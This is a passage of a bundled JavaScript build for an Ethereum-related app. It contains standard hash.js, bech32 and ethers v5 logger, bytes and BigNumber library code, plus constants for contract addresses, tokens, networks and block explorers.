this.Hash().update(key2);\n for (i = 0; i < key2.length; i++)\n key2[i] ^= 106;\n this.outer = new this.Hash().update(key2);\n };\n Hmac.prototype.update = function update2(msg, enc) {\n this.inner.update(msg, enc);\n return this;\n };\n Hmac.prototype.digest = function digest(enc) {\n this.outer.update(this.inner.digest());\n return this.outer.digest(enc);\n };\n }\n});\n\n// node_modules/hash.js/lib/hash.js\nvar require_hash = __commonJS({\n \"node_modules/hash.js/lib/hash.js\"(exports) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var hash3 = exports;\n hash3.utils = require_utils();\n hash3.common = require_common();\n hash3.sha = require_sha();\n hash3.ripemd = require_ripemd();\n hash3.hmac = require_hmac();\n hash3.sha1 = hash3.sha.sha1;\n hash3.sha256 = hash3.sha.sha256;\n hash3.sha224 = hash3.sha.sha224;\n hash3.sha384 = hash3.sha.sha384;\n hash3.sha512 = hash3.sha.sha512;\n hash3.ripemd160 = hash3.ripemd.ripemd160;\n }\n});\n\n// node_modules/bech32/index.js\nvar require_bech32 = __commonJS({\n \"node_modules/bech32/index.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var ALPHABET2 = \"qpzry9x8gf2tvdw0s3jn54khce6mua7l\";\n var ALPHABET_MAP = {};\n for (z = 0; z < ALPHABET2.length; z++) {\n x = ALPHABET2.charAt(z);\n if (ALPHABET_MAP[x] !== void 0)\n throw new TypeError(x + \" is ambiguous\");\n ALPHABET_MAP[x] = z;\n }\n var x;\n var z;\n function polymodStep(pre) {\n var b = pre >> 25;\n return (pre & 33554431) << 5 ^ -(b >> 0 & 1) & 996825010 ^ -(b >> 1 & 1) & 642813549 ^ -(b >> 2 & 1) & 513874426 ^ -(b >> 3 & 1) & 1027748829 ^ -(b >> 4 & 1) & 705979059;\n }\n function prefixChk(prefix) {\n var chk = 1;\n for (var i = 0; i < prefix.length; ++i) {\n var c = prefix.charCodeAt(i);\n if (c < 33 || c > 126)\n return \"Invalid prefix (\" + prefix + \")\";\n chk = polymodStep(chk) ^ c >> 5;\n }\n chk = polymodStep(chk);\n for (i = 0; i < prefix.length; ++i) {\n var v = prefix.charCodeAt(i);\n chk = polymodStep(chk) ^ v & 31;\n }\n return chk;\n }\n function encode6(prefix, words, LIMIT) {\n LIMIT = LIMIT || 90;\n if (prefix.length + 7 + words.length > LIMIT)\n throw new TypeError(\"Exceeds length limit\");\n prefix = prefix.toLowerCase();\n var chk = prefixChk(prefix);\n if (typeof chk === \"string\")\n throw new Error(chk);\n var result = prefix + \"1\";\n for (var i = 0; i < words.length; ++i) {\n var x2 = words[i];\n if (x2 >> 5 !== 0)\n throw new Error(\"Non 5-bit word\");\n chk = polymodStep(chk) ^ x2;\n result += ALPHABET2.charAt(x2);\n }\n for (i = 0; i < 6; ++i) {\n chk = polymodStep(chk);\n }\n chk ^= 1;\n for (i = 0; i < 6; ++i) {\n var v = chk >> (5 - i) * 5 & 31;\n result += ALPHABET2.charAt(v);\n }\n return result;\n }\n function __decode(str, LIMIT) {\n LIMIT = LIMIT || 90;\n if (str.length < 8)\n return str + \" too short\";\n if (str.length > LIMIT)\n return \"Exceeds length limit\";\n var lowered = str.toLowerCase();\n var uppered = str.toUpperCase();\n if (str !== lowered && str !== uppered)\n return \"Mixed-case string \" + str;\n str = lowered;\n var split = str.lastIndexOf(\"1\");\n if (split === -1)\n return \"No separator character for \" + str;\n if (split === 0)\n return \"Missing prefix for \" + str;\n var prefix = str.slice(0, split);\n var wordChars = str.slice(split + 1);\n if (wordChars.length < 6)\n return \"Data too short\";\n var chk = prefixChk(prefix);\n if (typeof chk === \"string\")\n return chk;\n var words = [];\n for (var i = 0; i < wordChars.length; ++i) {\n var c = wordChars.charAt(i);\n var v = ALPHABET_MAP[c];\n if (v === void 0)\n return \"Unknown character \" + c;\n chk = polymodStep(chk) ^ v;\n if (i + 6 >= wordChars.length)\n continue;\n words.push(v);\n }\n if (chk !== 1)\n return \"Invalid checksum for \" + str;\n return { prefix, words };\n }\n function decodeUnsafe() {\n var res = __decode.apply(null, arguments);\n if (typeof res === \"object\")\n return res;\n }\n function decode3(str) {\n var res = __decode.apply(null, arguments);\n if (typeof res === \"object\")\n return res;\n throw new Error(res);\n }\n function convert(data, inBits, outBits, pad) {\n var value = 0;\n var bits = 0;\n var maxV = (1 << outBits) - 1;\n var result = [];\n for (var i = 0; i < data.length; ++i) {\n value = value << inBits | data[i];\n bits += inBits;\n while (bits >= outBits) {\n bits -= outBits;\n result.push(value >> bits & maxV);\n }\n }\n if (pad) {\n if (bits > 0) {\n result.push(value << outBits - bits & maxV);\n }\n } else {\n if (bits >= inBits)\n return \"Excess padding\";\n if (value << outBits - bits & maxV)\n return \"Non-zero padding\";\n }\n return result;\n }\n function toWordsUnsafe(bytes) {\n var res = convert(bytes, 8, 5, true);\n if (Array.isArray(res))\n return res;\n }\n function toWords(bytes) {\n var res = convert(bytes, 8, 5, true);\n if (Array.isArray(res))\n return res;\n throw new Error(res);\n }\n function fromWordsUnsafe(words) {\n var res = convert(words, 5, 8, false);\n if (Array.isArray(res))\n return res;\n }\n function fromWords(words) {\n var res = convert(words, 5, 8, false);\n if (Array.isArray(res))\n return res;\n throw new Error(res);\n }\n module.exports = {\n decodeUnsafe,\n decode: decode3,\n encode: encode6,\n toWordsUnsafe,\n toWords,\n fromWordsUnsafe,\n fromWords\n };\n }\n});\n\n// index.ts\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// types/constants.ts\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar permit2Address = \"0x000000000022D473030F116dDEE9F6B43aC78BA3\";\nvar nftAddress = \"0xAa1bfC0e51969415d64d6dE74f27CDa0587e645b\";\nvar LOCAL_HOST = \"http://127.0.0.1:8545\";\nvar networkIds = Object.fromEntries(\n Object.entries(define_chainIDList_default).map(([id2, name]) => {\n const chainId = parseInt(id2);\n const chain = name.charAt(0).toUpperCase() + name.slice(1);\n return [chain, chainId];\n })\n);\nvar networkNames = Object.fromEntries(\n Object.entries(networkIds).map(([name, id2]) => {\n const chainName = name.charAt(0).toUpperCase() + name.slice(1);\n return [id2, chainName];\n })\n);\nvar networkRpcs = Object.fromEntries(\n Object.entries(networkIds).map(([, value]) => {\n const chainRpcs = define_extraRpcs_default[value] || [];\n return [value, chainRpcs];\n })\n);\nvar tokens = {\n [networkIds.Mainnet]: {\n DAI: {\n address: \"0x6b175474e89094c44da98b954eedeac495271d0f\",\n decimals: 18,\n symbol: \"DAI\"\n }\n },\n [networkIds.Gnosis]: {\n WXDAI: {\n address: \"0xe91d153e0b41518a2ce8dd3d7944fa863463a97d\",\n decimals: 18,\n symbol: \"WXDAI\"\n }\n }\n};\nvar networkCurrencies = {\n [networkIds.Mainnet]: { symbol: \"ETH\", decimals: 18 },\n [networkIds.Goerli]: { symbol: \"GoerliETH\", decimals: 18 },\n [networkIds.Gnosis]: { symbol: \"XDAI\", decimals: 18 },\n [networkIds.Anvil]: { symbol: \"XDAI\", decimals: 18 }\n};\nvar networkExplorers = {\n [networkIds.Mainnet]: \"https://etherscan.io\",\n [networkIds.Goerli]: \"https://goerli.etherscan.io\",\n [networkIds.Gnosis]: \"https://gnosisscan.io\",\n [networkIds.Anvil]: \"https://gnosisscan.io\"\n};\nfunction getNetworkName(networkId) {\n const networkName = networkNames[networkId ?? 0];\n if (!networkName) {\n console.error(`Unknown network ID: ${networkId}`);\n }\n return networkName ?? \"Unknown Network\";\n}\n\n// types/rpc-handler.ts\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/providers/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/abstract-provider/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/bignumber/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/bignumber/lib.esm/bignumber.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar import_bn = __toESM(require_bn());\n\n// node_modules/@ethersproject/bytes/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/logger/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/logger/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version = \"logger/5.7.0\";\n\n// node_modules/@ethersproject/logger/lib.esm/index.js\nvar _permanentCensorErrors = false;\nvar _censorErrors = false;\nvar LogLevels = { debug: 1, \"default\": 2, info: 2, warning: 3, error: 4, off: 5 };\nvar _logLevel = LogLevels[\"default\"];\nvar _globalLogger = null;\nfunction _checkNormalize() {\n try {\n const missing = [];\n [\"NFD\", \"NFC\", \"NFKD\", \"NFKC\"].forEach((form) => {\n try {\n if (\"test\".normalize(form) !== \"test\") {\n throw new Error(\"bad normalize\");\n }\n ;\n } catch (error) {\n missing.push(form);\n }\n });\n if (missing.length) {\n throw new Error(\"missing \" + missing.join(\", \"));\n }\n if (String.fromCharCode(233).normalize(\"NFD\") !== String.fromCharCode(101, 769)) {\n throw new Error(\"broken implementation\");\n }\n } catch (error) {\n return error.message;\n }\n return null;\n}\nvar _normalizeError = _checkNormalize();\nvar LogLevel;\n(function(LogLevel2) {\n LogLevel2[\"DEBUG\"] = \"DEBUG\";\n LogLevel2[\"INFO\"] = \"INFO\";\n LogLevel2[\"WARNING\"] = \"WARNING\";\n LogLevel2[\"ERROR\"] = \"ERROR\";\n LogLevel2[\"OFF\"] = \"OFF\";\n})(LogLevel || (LogLevel = {}));\nvar ErrorCode;\n(function(ErrorCode2) {\n ErrorCode2[\"UNKNOWN_ERROR\"] = \"UNKNOWN_ERROR\";\n ErrorCode2[\"NOT_IMPLEMENTED\"] = \"NOT_IMPLEMENTED\";\n ErrorCode2[\"UNSUPPORTED_OPERATION\"] = \"UNSUPPORTED_OPERATION\";\n ErrorCode2[\"NETWORK_ERROR\"] = \"NETWORK_ERROR\";\n ErrorCode2[\"SERVER_ERROR\"] = \"SERVER_ERROR\";\n ErrorCode2[\"TIMEOUT\"] = \"TIMEOUT\";\n ErrorCode2[\"BUFFER_OVERRUN\"] = \"BUFFER_OVERRUN\";\n ErrorCode2[\"NUMERIC_FAULT\"] = \"NUMERIC_FAULT\";\n ErrorCode2[\"MISSING_NEW\"] = \"MISSING_NEW\";\n ErrorCode2[\"INVALID_ARGUMENT\"] = \"INVALID_ARGUMENT\";\n ErrorCode2[\"MISSING_ARGUMENT\"] = \"MISSING_ARGUMENT\";\n ErrorCode2[\"UNEXPECTED_ARGUMENT\"] = \"UNEXPECTED_ARGUMENT\";\n ErrorCode2[\"CALL_EXCEPTION\"] = \"CALL_EXCEPTION\";\n ErrorCode2[\"INSUFFICIENT_FUNDS\"] = \"INSUFFICIENT_FUNDS\";\n ErrorCode2[\"NONCE_EXPIRED\"] = \"NONCE_EXPIRED\";\n ErrorCode2[\"REPLACEMENT_UNDERPRICED\"] = \"REPLACEMENT_UNDERPRICED\";\n ErrorCode2[\"UNPREDICTABLE_GAS_LIMIT\"] = \"UNPREDICTABLE_GAS_LIMIT\";\n ErrorCode2[\"TRANSACTION_REPLACED\"] = \"TRANSACTION_REPLACED\";\n ErrorCode2[\"ACTION_REJECTED\"] = \"ACTION_REJECTED\";\n})(ErrorCode || (ErrorCode = {}));\nvar HEX = \"0123456789abcdef\";\nvar Logger = class _Logger {\n constructor(version17) {\n Object.defineProperty(this, \"version\", {\n enumerable: true,\n value: version17,\n writable: false\n });\n }\n _log(logLevel, args) {\n const level = logLevel.toLowerCase();\n if (LogLevels[level] == null) {\n this.throwArgumentError(\"invalid log level name\", \"logLevel\", logLevel);\n }\n if (_logLevel > LogLevels[level]) {\n return;\n }\n console.log.apply(console, args);\n }\n debug(...args) {\n this._log(_Logger.levels.DEBUG, args);\n }\n info(...args) {\n this._log(_Logger.levels.INFO, args);\n }\n warn(...args) {\n this._log(_Logger.levels.WARNING, args);\n }\n makeError(message, code, params) {\n if (_censorErrors) {\n return this.makeError(\"censored error\", code, {});\n }\n if (!code) {\n code = _Logger.errors.UNKNOWN_ERROR;\n }\n if (!params) {\n params = {};\n }\n const messageDetails = [];\n Object.keys(params).forEach((key2) => {\n const value = params[key2];\n try {\n if (value instanceof Uint8Array) {\n let hex = \"\";\n for (let i = 0; i < value.length; i++) {\n hex += HEX[value[i] >> 4];\n hex += HEX[value[i] & 15];\n }\n messageDetails.push(key2 + \"=Uint8Array(0x\" + hex + \")\");\n } else {\n messageDetails.push(key2 + \"=\" + JSON.stringify(value));\n }\n } catch (error2) {\n messageDetails.push(key2 + \"=\" + JSON.stringify(params[key2].toString()));\n }\n });\n messageDetails.push(`code=${code}`);\n messageDetails.push(`version=${this.version}`);\n const reason = message;\n let url = \"\";\n switch (code) {\n case ErrorCode.NUMERIC_FAULT: {\n url = \"NUMERIC_FAULT\";\n const fault = message;\n switch (fault) {\n case \"overflow\":\n case \"underflow\":\n case \"division-by-zero\":\n url += \"-\" + fault;\n break;\n case \"negative-power\":\n case \"negative-width\":\n url += \"-unsupported\";\n break;\n case \"unbound-bitwise-result\":\n url += \"-unbound-result\";\n break;\n }\n break;\n }\n case ErrorCode.CALL_EXCEPTION:\n case ErrorCode.INSUFFICIENT_FUNDS:\n case ErrorCode.MISSING_NEW:\n case ErrorCode.NONCE_EXPIRED:\n case ErrorCode.REPLACEMENT_UNDERPRICED:\n case ErrorCode.TRANSACTION_REPLACED:\n case ErrorCode.UNPREDICTABLE_GAS_LIMIT:\n url = code;\n break;\n }\n if (url) {\n message += \" [ See: https://links.ethers.org/v5-errors-\" + url + \" ]\";\n }\n if (messageDetails.length) {\n message += \" (\" + messageDetails.join(\", \") + \")\";\n }\n const error = new Error(message);\n error.reason = reason;\n error.code = code;\n Object.keys(params).forEach(function(key2) {\n error[key2] = params[key2];\n });\n return error;\n }\n throwError(message, code, params) {\n throw this.makeError(message, code, params);\n }\n throwArgumentError(message, name, value) {\n return this.throwError(message, _Logger.errors.INVALID_ARGUMENT, {\n argument: name,\n value\n });\n }\n assert(condition, message, code, params) {\n if (!!condition) {\n return;\n }\n this.throwError(message, code, params);\n }\n assertArgument(condition, message, name, value) {\n if (!!condition) {\n return;\n }\n this.throwArgumentError(message, name, value);\n }\n checkNormalize(message) {\n if (message == null) {\n message = \"platform missing String.prototype.normalize\";\n }\n if (_normalizeError) {\n this.throwError(\"platform missing String.prototype.normalize\", _Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"String.prototype.normalize\",\n form: _normalizeError\n });\n }\n }\n checkSafeUint53(value, message) {\n if (typeof value !== \"number\") {\n return;\n }\n if (message == null) {\n message = \"value not safe\";\n }\n if (value < 0 || value >= 9007199254740991) {\n this.throwError(message, _Logger.errors.NUMERIC_FAULT, {\n operation: \"checkSafeInteger\",\n fault: \"out-of-safe-range\",\n value\n });\n }\n if (value % 1) {\n this.throwError(message, _Logger.errors.NUMERIC_FAULT, {\n operation: \"checkSafeInteger\",\n fault: \"non-integer\",\n value\n });\n }\n }\n checkArgumentCount(count, expectedCount, message) {\n if (message) {\n message = \": \" + message;\n } else {\n message = \"\";\n }\n if (count < expectedCount) {\n this.throwError(\"missing argument\" + message, _Logger.errors.MISSING_ARGUMENT, {\n count,\n expectedCount\n });\n }\n if (count > expectedCount) {\n this.throwError(\"too many arguments\" + message, _Logger.errors.UNEXPECTED_ARGUMENT, {\n count,\n expectedCount\n });\n }\n }\n checkNew(target, kind) {\n if (target === Object || target == null) {\n this.throwError(\"missing new\", _Logger.errors.MISSING_NEW, { name: kind.name });\n }\n }\n checkAbstract(target, kind) {\n if (target === kind) {\n this.throwError(\"cannot instantiate abstract class \" + JSON.stringify(kind.name) + \" directly; use a sub-class\", _Logger.errors.UNSUPPORTED_OPERATION, { name: target.name, operation: \"new\" });\n } else if (target === Object || target == null) {\n this.throwError(\"missing new\", _Logger.errors.MISSING_NEW, { name: kind.name });\n }\n }\n static globalLogger() {\n if (!_globalLogger) {\n _globalLogger = new _Logger(version);\n }\n return _globalLogger;\n }\n static setCensorship(censorship, permanent) {\n if (!censorship && permanent) {\n this.globalLogger().throwError(\"cannot permanently disable censorship\", _Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"setCensorship\"\n });\n }\n if (_permanentCensorErrors) {\n if (!censorship) {\n return;\n }\n this.globalLogger().throwError(\"error censorship permanent\", _Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"setCensorship\"\n });\n }\n _censorErrors = !!censorship;\n _permanentCensorErrors = !!permanent;\n }\n static setLogLevel(logLevel) {\n const level = LogLevels[logLevel.toLowerCase()];\n if (level == null) {\n _Logger.globalLogger().warn(\"invalid log level - \" + logLevel);\n return;\n }\n _logLevel = level;\n }\n static from(version17) {\n return new _Logger(version17);\n }\n};\nLogger.errors = ErrorCode;\nLogger.levels = LogLevel;\n\n// node_modules/@ethersproject/bytes/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version2 = \"bytes/5.7.0\";\n\n// node_modules/@ethersproject/bytes/lib.esm/index.js\nvar logger = new Logger(version2);\nfunction isHexable(value) {\n return !!value.toHexString;\n}\nfunction addSlice(array) {\n if (array.slice) {\n return array;\n }\n array.slice = function() {\n const args = Array.prototype.slice.call(arguments);\n return addSlice(new Uint8Array(Array.prototype.slice.apply(array, args)));\n };\n return array;\n}\nfunction isBytesLike(value) {\n return isHexString(value) && !(value.length % 2) || isBytes(value);\n}\nfunction isInteger(value) {\n return typeof value === \"number\" && value == value && value % 1 === 0;\n}\nfunction isBytes(value) {\n if (value == null) {\n return false;\n }\n if (value.constructor === Uint8Array) {\n return true;\n }\n if (typeof value === \"string\") {\n return false;\n }\n if (!isInteger(value.length) || value.length < 0) {\n return false;\n }\n for (let i = 0; i < value.length; i++) {\n const v = value[i];\n if (!isInteger(v) || v < 0 || v >= 256) {\n return false;\n }\n }\n return true;\n}\nfunction arrayify(value, options) {\n if (!options) {\n options = {};\n }\n if (typeof value === \"number\") {\n logger.checkSafeUint53(value, \"invalid arrayify value\");\n const result = [];\n while (value) {\n result.unshift(value & 255);\n value = parseInt(String(value / 256));\n }\n if (result.length === 0) {\n result.push(0);\n }\n return addSlice(new Uint8Array(result));\n }\n if (options.allowMissingPrefix && typeof value === \"string\" && value.substring(0, 2) !== \"0x\") {\n value = \"0x\" + value;\n }\n if (isHexable(value)) {\n value = value.toHexString();\n }\n if (isHexString(value)) {\n let hex = value.substring(2);\n if (hex.length % 2) {\n if (options.hexPad === \"left\") {\n hex = \"0\" + hex;\n } else if (options.hexPad === \"right\") {\n hex += \"0\";\n } else {\n logger.throwArgumentError(\"hex data is odd-length\", \"value\", value);\n }\n }\n const result = [];\n for (let i = 0; i < hex.length; i += 2) {\n result.push(parseInt(hex.substring(i, i + 2), 16));\n }\n return addSlice(new Uint8Array(result));\n }\n if (isBytes(value)) {\n return addSlice(new Uint8Array(value));\n }\n return logger.throwArgumentError(\"invalid arrayify value\", \"value\", value);\n}\nfunction concat(items) {\n const objects = items.map((item) => arrayify(item));\n const length = objects.reduce((accum, item) => accum + item.length, 0);\n const result = new Uint8Array(length);\n objects.reduce((offset, object) => {\n result.set(object, offset);\n return offset + object.length;\n }, 0);\n return addSlice(result);\n}\nfunction stripZeros(value) {\n let result = arrayify(value);\n if (result.length === 0) {\n return result;\n }\n let start = 0;\n while (start < result.length && result[start] === 0) {\n start++;\n }\n if (start) {\n result = result.slice(start);\n }\n return result;\n}\nfunction zeroPad(value, length) {\n value = arrayify(value);\n if (value.length > length) {\n logger.throwArgumentError(\"value out of range\", \"value\", arguments[0]);\n }\n const result = new Uint8Array(length);\n result.set(value, length - value.length);\n return addSlice(result);\n}\nfunction isHexString(value, length) {\n if (typeof value !== \"string\" || !value.match(/^0x[0-9A-Fa-f]*$/)) {\n return false;\n }\n if (length && value.length !== 2 + 2 * length) {\n return false;\n }\n return true;\n}\nvar HexCharacters = \"0123456789abcdef\";\nfunction hexlify(value, options) {\n if (!options) {\n options = {};\n }\n if (typeof value === \"number\") {\n logger.checkSafeUint53(value, \"invalid hexlify value\");\n let hex = \"\";\n while (value) {\n hex = HexCharacters[value & 15] + hex;\n value = Math.floor(value / 16);\n }\n if (hex.length) {\n if (hex.length % 2) {\n hex = \"0\" + hex;\n }\n return \"0x\" + hex;\n }\n return \"0x00\";\n }\n if (typeof value === \"bigint\") {\n value = value.toString(16);\n if (value.length % 2) {\n return \"0x0\" + value;\n }\n return \"0x\" + value;\n }\n if (options.allowMissingPrefix && typeof value === \"string\" && value.substring(0, 2) !== \"0x\") {\n value = \"0x\" + value;\n }\n if (isHexable(value)) {\n return value.toHexString();\n }\n if (isHexString(value)) {\n if (value.length % 2) {\n if (options.hexPad === \"left\") {\n value = \"0x0\" + value.substring(2);\n } else if (options.hexPad === \"right\") {\n value += \"0\";\n } else {\n logger.throwArgumentError(\"hex data is odd-length\", \"value\", value);\n }\n }\n return value.toLowerCase();\n }\n if (isBytes(value)) {\n let result = \"0x\";\n for (let i = 0; i < value.length; i++) {\n let v = value[i];\n result += HexCharacters[(v & 240) >> 4] + HexCharacters[v & 15];\n }\n return result;\n }\n return logger.throwArgumentError(\"invalid hexlify value\", \"value\", value);\n}\nfunction hexDataLength(data) {\n if (typeof data !== \"string\") {\n data = hexlify(data);\n } else if (!isHexString(data) || data.length % 2) {\n return null;\n }\n return (data.length - 2) / 2;\n}\nfunction hexDataSlice(data, offset, endOffset) {\n if (typeof data !== \"string\") {\n data = hexlify(data);\n } else if (!isHexString(data) || data.length % 2) {\n logger.throwArgumentError(\"invalid hexData\", \"value\", data);\n }\n offset = 2 + 2 * offset;\n if (endOffset != null) {\n return \"0x\" + data.substring(offset, 2 + 2 * endOffset);\n }\n return \"0x\" + data.substring(offset);\n}\nfunction hexConcat(items) {\n let result = \"0x\";\n items.forEach((item) => {\n result += hexlify(item).substring(2);\n });\n return result;\n}\nfunction hexValue(value) {\n const trimmed = hexStripZeros(hexlify(value, { hexPad: \"left\" }));\n if (trimmed === \"0x\") {\n return \"0x0\";\n }\n return trimmed;\n}\nfunction hexStripZeros(value) {\n if (typeof value !== \"string\") {\n value = hexlify(value);\n }\n if (!isHexString(value)) {\n logger.throwArgumentError(\"invalid hex string\", \"value\", value);\n }\n value = value.substring(2);\n let offset = 0;\n while (offset < value.length && value[offset] === \"0\") {\n offset++;\n }\n return \"0x\" + value.substring(offset);\n}\nfunction hexZeroPad(value, length) {\n if (typeof value !== \"string\") {\n value = hexlify(value);\n } else if (!isHexString(value)) {\n logger.throwArgumentError(\"invalid hex string\", \"value\", value);\n }\n if (value.length > 2 * length + 2) {\n logger.throwArgumentError(\"value out of range\", \"value\", arguments[1]);\n }\n while (value.length < 2 * length + 2) {\n value = \"0x0\" + value.substring(2);\n }\n return value;\n}\nfunction splitSignature(signature2) {\n const result = {\n r: \"0x\",\n s: \"0x\",\n _vs: \"0x\",\n recoveryParam: 0,\n v: 0,\n yParityAndS: \"0x\",\n compact: \"0x\"\n };\n if (isBytesLike(signature2)) {\n let bytes = arrayify(signature2);\n if (bytes.length === 64) {\n result.v = 27 + (bytes[32] >> 7);\n bytes[32] &= 127;\n result.r = hexlify(bytes.slice(0, 32));\n result.s = hexlify(bytes.slice(32, 64));\n } else if (bytes.length === 65) {\n result.r = hexlify(bytes.slice(0, 32));\n result.s = hexlify(bytes.slice(32, 64));\n result.v = bytes[64];\n } else {\n logger.throwArgumentError(\"invalid signature string\", \"signature\", signature2);\n }\n if (result.v < 27) {\n if (result.v === 0 || result.v === 1) {\n result.v += 27;\n } else {\n logger.throwArgumentError(\"signature invalid v byte\", \"signature\", signature2);\n }\n }\n result.recoveryParam = 1 - result.v % 2;\n if (result.recoveryParam) {\n bytes[32] |= 128;\n }\n result._vs = hexlify(bytes.slice(32, 64));\n } else {\n result.r = signature2.r;\n result.s = signature2.s;\n result.v = signature2.v;\n result.recoveryParam = signature2.recoveryParam;\n result._vs = signature2._vs;\n if (result._vs != null) {\n const vs2 = zeroPad(arrayify(result._vs), 32);\n result._vs = hexlify(vs2);\n const recoveryParam = vs2[0] >= 128 ? 1 : 0;\n if (result.recoveryParam == null) {\n result.recoveryParam = recoveryParam;\n } else if (result.recoveryParam !== recoveryParam) {\n logger.throwArgumentError(\"signature recoveryParam mismatch _vs\", \"signature\", signature2);\n }\n vs2[0] &= 127;\n const s = hexlify(vs2);\n if (result.s == null) {\n result.s = s;\n } else if (result.s !== s) {\n logger.throwArgumentError(\"signature v mismatch _vs\", \"signature\", signature2);\n }\n }\n if (result.recoveryParam == null) {\n if (result.v == null) {\n logger.throwArgumentError(\"signature missing v and recoveryParam\", \"signature\", signature2);\n } else if (result.v === 0 || result.v === 1) {\n result.recoveryParam = result.v;\n } else {\n result.recoveryParam = 1 - result.v % 2;\n }\n } else {\n if (result.v == null) {\n result.v = 27 + result.recoveryParam;\n } else {\n const recId = result.v === 0 || result.v === 1 ? result.v : 1 - result.v % 2;\n if (result.recoveryParam !== recId) {\n logger.throwArgumentError(\"signature recoveryParam mismatch v\", \"signature\", signature2);\n }\n }\n }\n if (result.r == null || !isHexString(result.r)) {\n logger.throwArgumentError(\"signature missing or invalid r\", \"signature\", signature2);\n } else {\n result.r = hexZeroPad(result.r, 32);\n }\n if (result.s == null || !isHexString(result.s)) {\n logger.throwArgumentError(\"signature missing or invalid s\", \"signature\", signature2);\n } else {\n result.s = hexZeroPad(result.s, 32);\n }\n const vs = arrayify(result.s);\n if (vs[0] >= 128) {\n logger.throwArgumentError(\"signature s out of range\", \"signature\", signature2);\n }\n if (result.recoveryParam) {\n vs[0] |= 128;\n }\n const _vs = hexlify(vs);\n if (result._vs) {\n if (!isHexString(result._vs)) {\n logger.throwArgumentError(\"signature invalid _vs\", \"signature\", signature2);\n }\n result._vs = hexZeroPad(result._vs, 32);\n }\n if (result._vs == null) {\n result._vs = _vs;\n } else if (result._vs !== _vs) {\n logger.throwArgumentError(\"signature _vs mismatch v and s\", \"signature\", signature2);\n }\n }\n result.yParityAndS = result._vs;\n result.compact = result.r + result.yParityAndS.substring(2);\n return result;\n}\n\n// node_modules/@ethersproject/bignumber/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version3 = \"bignumber/5.7.0\";\n\n// node_modules/@ethersproject/bignumber/lib.esm/bignumber.js\nvar BN = import_bn.default.BN;\nvar logger2 = new Logger(version3);\nvar _constructorGuard = {};\nvar MAX_SAFE = 9007199254740991;\nvar _warnedToStringRadix = false;\nvar BigNumber = class _BigNumber {\n constructor(constructorGuard, hex) {\n if (constructorGuard !== _constructorGuard) {\n logger2.throwError(\"cannot call constructor directly; use BigNumber.from\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new (BigNumber)\"\n });\n }\n this._hex = hex;\n this._isBigNumber = true;\n Object.freeze(this);\n }\n fromTwos(value) {\n return toBigNumber(toBN(this).fromTwos(value));\n }\n toTwos(value) {\n return toBigNumber(toBN(this).toTwos(value));\n }\n abs() {\n if (this._hex[0] === \"-\") {\n return _BigNumber.from(this._hex.substring(1));\n }\n return this;\n }\n add(other) {\n return toBigNumber(toBN(this).add(toBN(other)));\n }\n sub(other) {\n return toBigNumber(toBN(this).sub(toBN(other)));\n }\n div(other) {\n const o = _BigNumber.from(other);\n if (o.isZero()) {\n throwFault(\"division-by-zero\", \"div\");\n }\n return toBigNumber(toBN(this).div(toBN(other)));\n }\n mul(other) {\n return toBigNumber(toBN(this).mul(toBN(other)));\n }\n mod(other) {\n const value = toBN(other);\n if (value.isNeg()) {\n throwFault(\"division-by-zero\", \"mod\");\n }\n return toBigNumber(toBN(this).umod(value));\n }\n pow(other) {\n const value = toBN(other);\n if (value.isNeg()) {\n throwFault(\"negative-power\", \"pow\");\n }\n return toBigNumber(toBN(this).pow(value));\n }\n and(other) {\n const value = toBN(other);\n if (this.isNegative() || value.isNeg()) {\n throwFault(\"unbound-bitwise-result\", \"and\");\n }\n return toBigNumber(toBN(this).and(value));\n }\n or(other) {\n const value = toBN(other);\n if (this.isNegative() || value.isNeg()) {\n throwFault(\"unbound-bitwise-result\", \"or\");\n }\n return toBigNumber(toBN(this).or(value));\n }\n xor(other) {\n const value = toBN(other);\n if (this.isNegative() || value.isNeg()) {\n throwFault(\"unbound-bitwise-result\", \"xor\");\n }\n return toBigNumber(toBN(this).xor(value));\n }\n mask(value) {\n if (this.isNegative() || value < 0) {\n throwFault(\"negative-width\", \"mask\");\n }\n return toBigNumber(toBN(this).maskn(value));\n }\n shl(value) {\n if (this.isNegative() || value < 0) {\n throwFault(\"negative-width\", \"shl\");\n }\n return toBigNumber(toBN(this).shln(value));\n }\n shr(value) {\n if (this.isNegative() || value < 0) {\n throwFault(\"negative-width\", \"shr\");\n }\n return toBigNumber(toBN(this).shrn(value));\n }\n eq(other) {\n return toBN(this).eq(toBN(other));\n }\n lt(other) {\n return toBN(this).lt(toBN(other));\n }\n lte(other) {\n return toBN(this).lte(toBN(other));\n }\n gt(other) {\n return toBN(this).gt(toBN(other));\n }\n gte(other) {\n return toBN(this).gte(toBN(other));\n }\n isNegative() {\n return this._hex[0] === \"-\";\n }\n isZero() {\n return toBN(this).isZero();\n }\n toNumber() {\n try {\n return toBN(this).toNumber();\n } catch (error) {\n throwFault(\"overflow\", \"toNumber\", this.toString());\n }\n return null;\n }\n toBigInt() {\n try {\n return BigInt(this.toString());\n } catch (e) {\n }\n return logger2.throwError(\"this platform does not support BigInt\", Logger.errors.UNSUPPORTED_OPERATION, {\n value: this.toString()\n });\n }\n toString() {\n if (arguments.length > 0) {\n if (arguments[0] === 10) {\n if (!_warnedToStringRadix) {\n 